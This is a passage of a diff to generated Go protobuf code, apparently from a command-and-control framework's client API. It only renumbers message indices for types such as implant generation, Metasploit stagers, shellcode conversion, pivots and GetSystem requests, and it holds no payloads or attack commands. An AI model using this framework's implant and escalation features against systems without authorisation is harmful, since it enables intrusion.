file_clientpb_client_proto_rawDescGZIP(), []int{30} } func (x *Jobs) GetActive() []*Job { @@ -3562,7 +3808,7 @@ type KillJobReq struct { func (x *KillJobReq) Reset() { *x = KillJobReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3575,7 +3821,7 @@ func (x *KillJobReq) String() string { func (*KillJobReq) ProtoMessage() {} func (x *KillJobReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3588,7 +3834,7 @@ func (x *KillJobReq) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJobReq.ProtoReflect.Descriptor instead. func (*KillJobReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{28} + return file_clientpb_client_proto_rawDescGZIP(), []int{31} } func (x *KillJobReq) GetID() uint32 { @@ -3610,7 +3856,7 @@ type KillJob struct { func (x *KillJob) Reset() { *x = KillJob{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3623,7 +3869,7 @@ func (x *KillJob) String() string { func (*KillJob) ProtoMessage() {} func (x *KillJob) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3636,7 +3882,7 @@ func (x *KillJob) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJob.ProtoReflect.Descriptor instead. func (*KillJob) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{29} + return file_clientpb_client_proto_rawDescGZIP(), []int{32} } func (x *KillJob) GetID() uint32 { @@ -3666,7 +3912,7 @@ type MTLSListenerReq struct { func (x *MTLSListenerReq) Reset() { *x = MTLSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3679,7 +3925,7 @@ func (x *MTLSListenerReq) String() string { func (*MTLSListenerReq) ProtoMessage() {} func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3692,7 +3938,7 @@ func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListenerReq.ProtoReflect.Descriptor instead. func (*MTLSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{30} + return file_clientpb_client_proto_rawDescGZIP(), []int{33} } func (x *MTLSListenerReq) GetHost() string { @@ -3727,7 +3973,7 @@ type MTLSListener struct { func (x *MTLSListener) Reset() { *x = MTLSListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3740,7 +3986,7 @@ func (x *MTLSListener) String() string { func (*MTLSListener) ProtoMessage() {} func (x *MTLSListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3753,7 +3999,7 @@ func (x *MTLSListener) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListener.ProtoReflect.Descriptor instead. func (*MTLSListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{31} + return file_clientpb_client_proto_rawDescGZIP(), []int{34} } func (x *MTLSListener) GetJobID() uint32 { @@ -3779,7 +4025,7 @@ type WGListenerReq struct { func (x *WGListenerReq) Reset() { *x = WGListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3792,7 +4038,7 @@ func (x *WGListenerReq) String() string { func (*WGListenerReq) ProtoMessage() {} func (x *WGListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3805,7 +4051,7 @@ func (x *WGListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListenerReq.ProtoReflect.Descriptor instead. func (*WGListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{32} + return file_clientpb_client_proto_rawDescGZIP(), []int{35} } func (x *WGListenerReq) GetHost() string { @@ -3861,7 +4107,7 @@ type WGListener struct { func (x *WGListener) Reset() { *x = WGListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3874,7 +4120,7 @@ func (x *WGListener) String() string { func (*WGListener) ProtoMessage() {} func (x *WGListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3887,7 +4133,7 @@ func (x *WGListener) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListener.ProtoReflect.Descriptor instead. func (*WGListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{33} + return file_clientpb_client_proto_rawDescGZIP(), []int{36} } func (x *WGListener) GetJobID() uint32 { @@ -3913,7 +4159,7 @@ type DNSListenerReq struct { func (x *DNSListenerReq) Reset() { *x = DNSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3926,7 +4172,7 @@ func (x *DNSListenerReq) String() string { func (*DNSListenerReq) ProtoMessage() {} func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3939,7 +4185,7 @@ func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListenerReq.ProtoReflect.Descriptor instead. func (*DNSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{34} + return file_clientpb_client_proto_rawDescGZIP(), []int{37} } func (x *DNSListenerReq) GetDomains() []string { @@ -3995,7 +4241,7 @@ type DNSListener struct { func (x *DNSListener) Reset() { *x = DNSListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4008,7 +4254,7 @@ func (x *DNSListener) String() string { func (*DNSListener) ProtoMessage() {} func (x *DNSListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4021,7 +4267,7 @@ func (x *DNSListener) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListener.ProtoReflect.Descriptor instead. func (*DNSListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{35} + return file_clientpb_client_proto_rawDescGZIP(), []int{38} } func (x *DNSListener) GetJobID() uint32 { @@ -4054,7 +4300,7 @@ type HTTPListenerReq struct { func (x *HTTPListenerReq) Reset() { *x = HTTPListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4067,7 +4313,7 @@ func (x *HTTPListenerReq) String() string { func (*HTTPListenerReq) ProtoMessage() {} func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4080,7 +4326,7 @@ func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListenerReq.ProtoReflect.Descriptor instead. func (*HTTPListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{36} + return file_clientpb_client_proto_rawDescGZIP(), []int{39} } func (x *HTTPListenerReq) GetDomain() string { @@ -4187,7 +4433,7 @@ type NamedPipesReq struct { func (x *NamedPipesReq) Reset() { *x = NamedPipesReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4200,7 +4446,7 @@ func (x *NamedPipesReq) String() string { func (*NamedPipesReq) ProtoMessage() {} func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4213,7 +4459,7 @@ func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipesReq.ProtoReflect.Descriptor instead. func (*NamedPipesReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{37} + return file_clientpb_client_proto_rawDescGZIP(), []int{40} } func (x *NamedPipesReq) GetPipeName() string { @@ -4243,7 +4489,7 @@ type NamedPipes struct { func (x *NamedPipes) Reset() { *x = NamedPipes{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4256,7 +4502,7 @@ func (x *NamedPipes) String() string { func (*NamedPipes) ProtoMessage() {} func (x *NamedPipes) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4269,7 +4515,7 @@ func (x *NamedPipes) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipes.ProtoReflect.Descriptor instead. func (*NamedPipes) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{38} + return file_clientpb_client_proto_rawDescGZIP(), []int{41} } func (x *NamedPipes) GetSuccess() bool { @@ -4306,7 +4552,7 @@ type TCPPivotReq struct { func (x *TCPPivotReq) Reset() { *x = TCPPivotReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4319,7 +4565,7 @@ func (x *TCPPivotReq) String() string { func (*TCPPivotReq) ProtoMessage() {} func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4332,7 +4578,7 @@ func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivotReq.ProtoReflect.Descriptor instead. func (*TCPPivotReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{39} + return file_clientpb_client_proto_rawDescGZIP(), []int{42} } func (x *TCPPivotReq) GetAddress() string { @@ -4362,7 +4608,7 @@ type TCPPivot struct { func (x *TCPPivot) Reset() { *x = TCPPivot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4375,7 +4621,7 @@ func (x *TCPPivot) String() string { func (*TCPPivot) ProtoMessage() {} func (x *TCPPivot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4388,7 +4634,7 @@ func (x *TCPPivot) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivot.ProtoReflect.Descriptor instead. func (*TCPPivot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{40} + return file_clientpb_client_proto_rawDescGZIP(), []int{43} } func (x *TCPPivot) GetSuccess() bool { @@ -4423,7 +4669,7 @@ type HTTPListener struct { func (x *HTTPListener) Reset() { *x = HTTPListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4436,7 +4682,7 @@ func (x *HTTPListener) String() string { func (*HTTPListener) ProtoMessage() {} func (x *HTTPListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4449,7 +4695,7 @@ func (x *HTTPListener) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListener.ProtoReflect.Descriptor instead. func (*HTTPListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{41} + return file_clientpb_client_proto_rawDescGZIP(), []int{44} } func (x *HTTPListener) GetJobID() uint32 { @@ -4470,7 +4716,7 @@ type Sessions struct { func (x *Sessions) Reset() { *x = Sessions{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4483,7 +4729,7 @@ func (x *Sessions) String() string { func (*Sessions) ProtoMessage() {} func (x *Sessions) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4496,7 +4742,7 @@ func (x *Sessions) ProtoReflect() protoreflect.Message { // Deprecated: Use Sessions.ProtoReflect.Descriptor instead. func (*Sessions) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{42} + return file_clientpb_client_proto_rawDescGZIP(), []int{45} } func (x *Sessions) GetSessions() []*Session { @@ -4519,7 +4765,7 @@ type RenameReq struct { func (x *RenameReq) Reset() { *x = RenameReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4532,7 +4778,7 @@ func (x *RenameReq) String() string { func (*RenameReq) ProtoMessage() {} func (x *RenameReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4545,7 +4791,7 @@ func (x *RenameReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RenameReq.ProtoReflect.Descriptor instead. func (*RenameReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{43} + return file_clientpb_client_proto_rawDescGZIP(), []int{46} } func (x *RenameReq) GetSessionID() string { @@ -4580,7 +4826,7 @@ type GenerateReq struct { func (x *GenerateReq) Reset() { *x = GenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4593,7 +4839,7 @@ func (x *GenerateReq) String() string { func (*GenerateReq) ProtoMessage() {} func (x *GenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4606,7 +4852,7 @@ func (x *GenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GenerateReq.ProtoReflect.Descriptor instead. func (*GenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{44} + return file_clientpb_client_proto_rawDescGZIP(), []int{47} } func (x *GenerateReq) GetConfig() *ImplantConfig { @@ -4627,7 +4873,7 @@ type Generate struct { func (x *Generate) Reset() { *x = Generate{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4640,7 +4886,7 @@ func (x *Generate) String() string { func (*Generate) ProtoMessage() {} func (x *Generate) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4653,7 +4899,7 @@ func (x *Generate) ProtoReflect() protoreflect.Message { // Deprecated: Use Generate.ProtoReflect.Descriptor instead. func (*Generate) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{45} + return file_clientpb_client_proto_rawDescGZIP(), []int{48} } func (x *Generate) GetFile() *commonpb.File { @@ -4679,7 +4925,7 @@ type MSFReq struct { func (x *MSFReq) Reset() { *x = MSFReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4692,7 +4938,7 @@ func (x *MSFReq) String() string { func (*MSFReq) ProtoMessage() {} func (x *MSFReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4705,7 +4951,7 @@ func (x *MSFReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFReq.ProtoReflect.Descriptor instead. func (*MSFReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{46} + return file_clientpb_client_proto_rawDescGZIP(), []int{49} } func (x *MSFReq) GetPayload() string { @@ -4767,7 +5013,7 @@ type MSFRemoteReq struct { func (x *MSFRemoteReq) Reset() { *x = MSFRemoteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4780,7 +5026,7 @@ func (x *MSFRemoteReq) String() string { func (*MSFRemoteReq) ProtoMessage() {} func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4793,7 +5039,7 @@ func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFRemoteReq.ProtoReflect.Descriptor instead. func (*MSFRemoteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{47} + return file_clientpb_client_proto_rawDescGZIP(), []int{50} } func (x *MSFRemoteReq) GetPayload() string { @@ -4863,7 +5109,7 @@ type StagerListenerReq struct { func (x *StagerListenerReq) Reset() { *x = StagerListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4876,7 +5122,7 @@ func (x *StagerListenerReq) String() string { func (*StagerListenerReq) ProtoMessage() {} func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4889,7 +5135,7 @@ func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListenerReq.ProtoReflect.Descriptor instead. func (*StagerListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{48} + return file_clientpb_client_proto_rawDescGZIP(), []int{51} } func (x *StagerListenerReq) GetProtocol() StageProtocol { @@ -4959,7 +5205,7 @@ type StagerListener struct { func (x *StagerListener) Reset() { *x = StagerListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4972,7 +5218,7 @@ func (x *StagerListener) String() string { func (*StagerListener) ProtoMessage() {} func (x *StagerListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4985,7 +5231,7 @@ func (x *StagerListener) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListener.ProtoReflect.Descriptor instead. func (*StagerListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{49} + return file_clientpb_client_proto_rawDescGZIP(), []int{52} } func (x *StagerListener) GetJobID() uint32 { @@ -5008,7 +5254,7 @@ type ShellcodeRDIReq struct { func (x *ShellcodeRDIReq) Reset() { *x = ShellcodeRDIReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5021,7 +5267,7 @@ func (x *ShellcodeRDIReq) String() string { func (*ShellcodeRDIReq) ProtoMessage() {} func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5034,7 +5280,7 @@ func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDIReq.ProtoReflect.Descriptor instead. func (*ShellcodeRDIReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{50} + return file_clientpb_client_proto_rawDescGZIP(), []int{53} } func (x *ShellcodeRDIReq) GetData() []byte { @@ -5069,7 +5315,7 @@ type ShellcodeRDI struct { func (x *ShellcodeRDI) Reset() { *x = ShellcodeRDI{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5082,7 +5328,7 @@ func (x *ShellcodeRDI) String() string { func (*ShellcodeRDI) ProtoMessage() {} func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5095,7 +5341,7 @@ func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDI.ProtoReflect.Descriptor instead. func (*ShellcodeRDI) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{51} + return file_clientpb_client_proto_rawDescGZIP(), []int{54} } func (x *ShellcodeRDI) GetData() []byte { @@ -5123,7 +5369,7 @@ type MsfStagerReq struct { func (x *MsfStagerReq) Reset() { *x = MsfStagerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5136,7 +5382,7 @@ func (x *MsfStagerReq) String() string { func (*MsfStagerReq) ProtoMessage() {} func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[55] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5149,7 +5395,7 @@ func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStagerReq.ProtoReflect.Descriptor instead. func (*MsfStagerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{52} + return file_clientpb_client_proto_rawDescGZIP(), []int{55} } func (x *MsfStagerReq) GetArch() string { @@ -5219,7 +5465,7 @@ type MsfStager struct { func (x *MsfStager) Reset() { *x = MsfStager{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5232,7 +5478,7 @@ func (x *MsfStager) String() string { func (*MsfStager) ProtoMessage() {} func (x *MsfStager) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5245,7 +5491,7 @@ func (x *MsfStager) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStager.ProtoReflect.Descriptor instead. func (*MsfStager) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{53} + return file_clientpb_client_proto_rawDescGZIP(), []int{56} } func (x *MsfStager) GetFile() *commonpb.File { @@ -5271,7 +5517,7 @@ type GetSystemReq struct { func (x *GetSystemReq) Reset() { *x = GetSystemReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5284,7 +5530,7 @@ func (x *GetSystemReq) String() string { func (*GetSystemReq) ProtoMessage() {} func (x *GetSystemReq) ProtoReflect() 